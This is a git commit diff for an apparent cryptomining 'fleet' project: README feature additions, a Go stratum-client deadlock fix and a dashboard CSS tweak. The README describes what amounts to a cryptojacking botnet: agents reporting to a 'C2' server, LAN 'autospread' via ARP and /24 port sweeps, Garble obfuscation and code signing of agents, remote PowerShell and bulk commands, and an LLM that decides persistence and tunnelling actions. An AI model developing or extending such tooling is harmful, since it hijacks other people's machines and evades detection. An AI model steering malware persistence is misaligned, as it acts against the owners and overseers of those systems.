fix: stratum deadlock + contrib-row CSS + README update for recent features

This commit is contained in:
AetherForge
2026-05-30 17:08:37 -07:00
parent 36fdc0194d
commit e6b8d84edf
3 changed files with 43 additions and 6 deletions

View File

@@ -50,11 +50,19 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat
### Command Deck (Dashboard)
- **Sign-in gate** — dashboard API uses HTTP Basic auth; browser session stored until you close the tab
- Live fleet hashrate, CPU/RAM gauges, share feed
- **3D fleet topology map** — agents orbiting the server node (React Three Fiber)
- **Fleet Health Score** — weighted 0100 score (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
- **Contribution Map** — per-agent hashrate bars showing each machine's fleet share; displays USD/day per agent when XMR price is loaded
- **Underperformer list** — machines below 70% of fleet median, with one-click "Restart All" to remediate laggards
- **OS / Arch Breakdown** — proportional bars by platform + architecture (Win/Linux/macOS, amd64/arm64)
- **LAN Group View** — agents grouped by /24 subnet; online count and aggregated hashrate per segment
- **Simple / Advanced toggle** — hides charts, logs, and AI panels by default; persisted across sessions
- **XMR price** — server-side CoinGecko fetch, 10-minute cache; displayed on the Earnings Estimator card
- **Earnings Estimator** — XMR/day formula estimate (or live pool data from SupportXMR); USD/day and time-to-payout shown when XMR price is available
- **3D fleet topology map** — agents orbiting the server node (React Three Fiber); staleness ring highlights agents that claim "online" but haven't been seen in >5 minutes
- Per-agent cards with pause / resume / stop / uninstall
- Fleet alerts (offline, hashrate drop, rejection spikes)
- Pool connection status, earnings estimate, AI activity panel
- Optional matrix stream overlay
- Pool connection status and AI activity panel (Advanced mode)
- Optional matrix stream overlay (Advanced mode)
### Fleet Roster (Agents)
- Every connected worker — hostname, IP, cores, memory, uptime
@@ -124,8 +132,12 @@ fusion-deliverables/Vacation/
### Under the Hood
- **Stratum proxy** — workers submit through your server; one upstream pool connection per wallet/host; `payment_id` appended to login when set in Calibrate
- **Stratum fallback** — agent mines directly to the configured pool when C2 has been unreachable for >30 seconds; cycles through backup pools; stops and hands off back to C2 when the server reconnects
- **WebSocket hub** — agents and dashboard get live stats, jobs, alerts
- **Fleet secret** — random token generated once on first run, baked into every forged agent; agents rejected if they don't present the matching secret
- **Hashrate reporting** — agent divides accumulated hashes by the elapsed interval (not a raw counter); 15s / 1m / 15m rolling averages sent on each stats tick
- **Process guard** — Unix `pgrep` fix: correctly matches only the agent binary (no false-positive self-kill)
- **ARP-first subnet scan** — autospread reads the OS ARP cache to find live LAN hosts before falling back to a full /24 port sweep; reduces noise from 253 cold probes to typically 520
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions; workers call `/api/v1/agent/decide` (fleet-secret gated)
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents; works on Windows, Linux, and macOS targets when `garble` is on PATH
- **Cross-platform code signing** — uses Windows `signtool` on Windows forge hosts; falls back to `osslsigncode` on Linux/macOS
@@ -242,6 +254,11 @@ crypto miner/
| GET | `/api/v1/builds/{id}/artifact/{name}` | Extra artifacts (ZIP, README, …) |
| GET | `/api/v1/agents` | Fleet list |
| POST | `/api/v1/agents/{id}/command` | Remote action (pause, powershell, …) |
| POST | `/api/v1/agents/bulk-command` | Send same command to multiple agents |
| GET | `/api/v1/alerts` | Active fleet alerts |
| GET | `/api/v1/pools/status` | Stratum pool connection states |
| GET | `/api/v1/earnings/estimate` | XMR/day estimate (or live SupportXMR data) |
| GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) |
| WS | `/ws/agent` | Worker connection |
| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed (token = base64 of `user:pass`) |

View File

@@ -203,7 +203,10 @@ func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) erro
}
})
// Submit writer goroutine.
// innerDone is closed when runPool returns for any reason (connection error
// or stopCh). It signals the submit goroutine to exit even when stopCh is
// still open, preventing a hang until the next share arrives.
innerDone := make(chan struct{})
submitDone := make(chan struct{})
go func() {
defer close(submitDone)
@@ -211,6 +214,8 @@ func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) erro
select {
case <-stopCh:
return
case <-innerDone:
return
case share, ok := <-shareCh:
if !ok {
return
@@ -235,7 +240,22 @@ func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) erro
}
}
}()
defer func() { <-submitDone }()
// Signal the submit goroutine and wait for it when runPool returns.
defer func() {
close(innerDone)
<-submitDone
}()
// Close the TCP connection as soon as stopCh fires so that the blocking
// reader.ReadString call (120 s deadline) unblocks immediately rather than
// making callers wait up to two minutes for the fallback to stop.
go func() {
select {
case <-stopCh:
_ = conn.Close()
case <-innerDone:
}
}()
// ── Job receive loop ──────────────────────────────────────────────────────
// keepalive every 60 s

View File

@@ -230,7 +230,7 @@ export function ContributionBars({
const agentXmr = xmrPerDay != null ? xmrPerDay * (b.pct / 100) : null;
const agentUsd = agentXmr != null && xmrPrice ? agentXmr * xmrPrice : null;
return (
<div key={b.id} className="contrib-row">
<div key={b.id} className={`contrib-row${agentUsd != null ? ' has-usd' : ''}`}>
<span className="contrib-name" title={b.name}>{b.name}</span>
<div className="contrib-track">
<div className="contrib-fill" style={{ width: `${b.pct}%` }} />